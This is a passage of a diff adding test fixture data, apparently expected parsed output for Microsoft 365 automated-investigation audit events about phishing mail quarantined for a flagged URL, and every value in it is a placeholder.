xample.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Intraorg\\\",\\\"DeliveryAction\\\":\\\"Blocked\\\",\\\"ThreatDetectionMethods\\\":[\\\"URLList\\\"],\\\"Language\\\":\\\"de\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\",\\\"Zap: [Success: Message moved to quarantine]\\\"],\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"None\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Url\\\":\\\"https://test.local/-\\\",\\\"Type\\\":\\\"url\\\",\\\"ClickCount\\\":0,\\\"EmailCount\\\":86,\\\"Urn\\\":\\\"urn:UrlEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":2,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":2},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":2},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":2,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"9\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":86,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":18,\\\"MaliciousUrl\\\":86},\\\"CountByProtectionStatus\\\":{\\\"Delivered\\\":0,\\\"Blocked\\\":70},\\\"CountByDeliveryLocation\\\":{\\\"Inbox\\\":0,\\\"Quarantine\\\":19,\\\"Forwarded\\\":1},\\\"Query\\\":\\\"( ((NormalizedUrl:\\\\\\\"https://test.local/-\\\\\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":86,\\\"IsVolumeAnamoly\\\":true,\\\"ClusterSourceIdentifier\\\":\\\"https://test.local/-\\\",\\\"ClusterSourceType\\\":\\\"UrlThreatIndicator\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"UrlThreatIdentifier\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"NormalizedUrl;ContentType\\\",\\\"ClusterByValue\\\":\\\"https://test.local/-;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Operation\":\"AirInvestigationData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"619\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\" }",
+ "outcome": "success",
+ "provider": "AirInvestigation",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "Actions": [
+ {
+ "$id": "1",
+ "ActionApproval": "None",
+ "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890",
+ "ActionStatus": "Pending",
+ "ActionType": "EmailRemediation",
+ "BulkName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox.",
+ "Entities": [
+ {
+ "$id": "2",
+ "ClusterBy": "NormalizedUrl;ContentType",
+ "ClusterByValue": "https://test.local/-;1",
+ "ClusterGroup": "UrlThreatIdentifier",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "https://test.local/-",
+ "ClusterSourceType": "UrlThreatIndicator",
+ "CountByDeliveryLocation": {
+ "Forwarded": 1,
+ "Inbox": 0,
+ "Quarantine": 19
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 19,
+ "Delivered": 0
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 56,
+ "MaliciousUrl": 86,
+ "Malware": 1,
+ "Phish": 45,
+ "Spam": 18
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": true,
+ "MailCount": 86,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( ((NormalizedUrl:\"https://test.local/-\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "QueryTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ }
+ ],
+ "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z",
+ "LogCreationTime": "2023-12-31T23:59:59.0000000Z",
+ "MachineName": "ABCDEFGHIJK",
+ "PendingType": "User",
+ "RelatedAlertIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "ResourceIdentifiers": [
+ {
+ "$id": "3",
+ "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Type": "AAD"
+ }
+ ],
+ "StartTimeUtc": "2023-12-31T23:59:59",
+ "TimestampUtc": "2023-12-31T23:59:59"
+ }
+ ],
+ "CreationTime": "2023-12-31T23:59:59",
+ "Data": {
+ "flattened": {
+ "AlertDisplayName": "Email messages containing malicious URL removed after delivery",
+ "AlertType": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Category": "ThreatManagement",
+ "ConfidenceLevel": "Unknown",
+ "ConfidenceScore": 1,
+ "CorrelationKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Description": "Emails with malicious URL that were delivered and later removed -V1.0.0.3",
+ "DetectionTechnology": "URLList",
+ "EndTimeUtc": "2023-12-31T23:59:59Z",
+ "Entities": [
+ {
+ "$id": "2",
+ "AadId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "FirstSeen": "2023-12-31T23:59:59",
+ "MailboxPrimaryAddress": "user@example.com",
+ "RiskLevel": "None",
+ "Source": "OATP",
+ "Type": "mailbox",
+ "Upn": "user@example.com",
+ "Urn": "urn:UserEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "3",
+ "AdditionalActionsAndResults": [
+ "OriginalDelivery: [N/A]",
+ "Zap: [Success: Message moved to quarantine]"
+ ],
+ "AntispamDirection": "Intraorg",
+ "AuthDetails": [
+ {
+ "Name": "DKIM",
+ "Value": "None"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "None"
+ }
+ ],
+ "DeliveryAction": "Blocked",
+ "DeliveryLocation": "Quarantine",
+ "FirstSeen": "2023-12-31T23:59:59",
+ "InternetMessageId": "",
+ "Language": "de",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OriginalDeliveryLocation": "Inbox",
+ "P1Sender": "sender@example.com",
+ "P1SenderDomain": "example.com",
+ "P2Sender": "sender@example.com",
+ "P2SenderDisplayName": "name",
+ "P2SenderDomain": "example.com",
+ "PhishConfidenceLevel": "High",
+ "ReceivedDate": "2023-12-31T23:59:59",
+ "Recipient": "user@example.com",
+ "Sender": "sender@example.com",
+ "SenderIP": "81.2.69.144",
+ "Source": "OATP",
+ "Subject": "subject",
+ "ThreatDetectionMethods": [
+ "URLList"
+ ],
+ "Threats": [
+ "ZapPhish",
+ "HighConfPhish"
+ ],
+ "Type": "mailMessage",
+ "Urls": [
+ "https://test.local/-"
+ ],
+ "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "4",
+ "ClickCount": 0,
+ "EmailCount": 86,
+ "FirstSeen": "2023-12-31T23:59:59",
+ "Source": "OATP",
+ "Type": "url",
+ "Url": "https://test.local/-",
+ "Urn": "urn:UrlEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "5",
+ "ClusterBy": "BodyFingerprintBin1;P2SenderDomain;ContentType",
+ "ClusterByValue": "5555555555;example.com;1",
+ "ClusterGroup": "BodyFingerprintBin1,P2SenderDomain",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 1
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 1
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 1,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 1,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "6",
+ "ClusterBy": "Subject;P2SenderDomain;AntispamDirection;ContentType",
+ "ClusterByValue": "subject;example.com;3;1",
+ "ClusterGroup": "Subject,P2SenderDomain,AntispamDirection",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 1
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 1
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 1,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 1,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (Subject:\"subject\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (AntispamDirection:\"3\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "7",
+ "ClusterBy": "BodyFingerprintBin1;SenderIp;ContentType",
+ "ClusterByValue": "5555555555;81.2.69.144;1",
+ "ClusterGroup": "BodyFingerprintBin1,SenderIp",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 2
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 2
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 2,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 2,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "8",
+ "ClusterBy": "Subject;SenderIp;AntispamDirection;ContentType",
+ "ClusterByValue": "subject;81.2.69.144;3;1",
+ "ClusterGroup": "Subject,SenderIp,AntispamDirection",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ClusterSourceType": "Similarity",
+ "CountByDeliveryLocation": {
+ "Quarantine": 1
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 1
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 1,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 0
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": false,
+ "MailCount": 1,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( (( (Subject:\"subject\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (AntispamDirection:\"3\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ },
+ {
+ "$id": "9",
+ "ClusterBy": "NormalizedUrl;ContentType",
+ "ClusterByValue": "https://test.local/-;1",
+ "ClusterGroup": "UrlThreatIdentifier",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterSourceIdentifier": "https://test.local/-",
+ "ClusterSourceType": "UrlThreatIndicator",
+ "CountByDeliveryLocation": {
+ "Forwarded": 1,
+ "Inbox": 0,
+ "Quarantine": 19
+ },
+ "CountByProtectionStatus": {
+ "Blocked": 70,
+ "Delivered": 0
+ },
+ "CountByThreatType": {
+ "HighConfPhish": 86,
+ "MaliciousUrl": 86,
+ "Malware": 0,
+ "Phish": 0,
+ "Spam": 18
+ },
+ "FirstSeen": "2023-12-31T23:59:59",
+ "IsVolumeAnamoly": true,
+ "MailCount": 86,
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "Query": "( ((NormalizedUrl:\"https://test.local/-\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Source": "OATP",
+ "Type": "mailCluster",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890"
+ }
+ ],
+ "ExtendedLinks": [
+ {
+ "Href": "https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Label": "alert",
+ "Type": "webLink"
+ }
+ ],
+ "Intent": "Probing",
+ "IsIncident": false,
+ "LogCreationTime": "2023-12-31T23:59:59.0000000Z",
+ "MachineName": "ABCDEFGHIJK",
+ "ProcessingEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ProviderAlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ProviderName": "OATP",
+ "ResourceIdentifiers": [
+ {
+ "$id": "1",
+ "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Type": "AAD"
+ }
+ ],
+ "Severity": "Informational",
+ "SourceAlertType": "System",
+ "SourceTemplateType": "Threat_Single",
+ "StartTimeUtc": "2023-12-31T23:59:59Z",
+ "Status": "New",
+ "TimeGenerated": "2023-12-31T23:59:59.9Z",
+ "VendorName": "Microsoft",
+ "Version": "3.0"
+ }
+ },
+ "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "EndTimeUtc": "2023-12-31T23:59:59.000Z",
+ "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "InvestigationName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "InvestigationType": "UrlInvestigation",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59.000Z",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OriginalDeliveryLocation": [
+ "Inbox"
+ ],
+ "PhishConfidenceLevel": [
+ "High"
+ ],
+ "RecordType": "64",
+ "RunningTime": "619",
+ "StartTimeUtc": "2023-12-31T23:59:59.000Z",
+ "Status": "Pending Action",
+ "ThreatDetectionMethods": [
+ "URLList"
+ ],
+ "UserId": "AirInvestigation",
+ "UserKey": "AirInvestigation",
+ "UserType": "4",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ],
+ "user": [
+ "user@example.com"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "email": [
+ "user@example.com"
+ ],
+ "id": "AirInvestigation"
+ }
+ },
+ {
+ "@timestamp": "2023-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "from": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "bounce@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "AirInvestigationData",
+ "category": [
+ "web"
+ ],
+ "code": "AirInvestigation",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
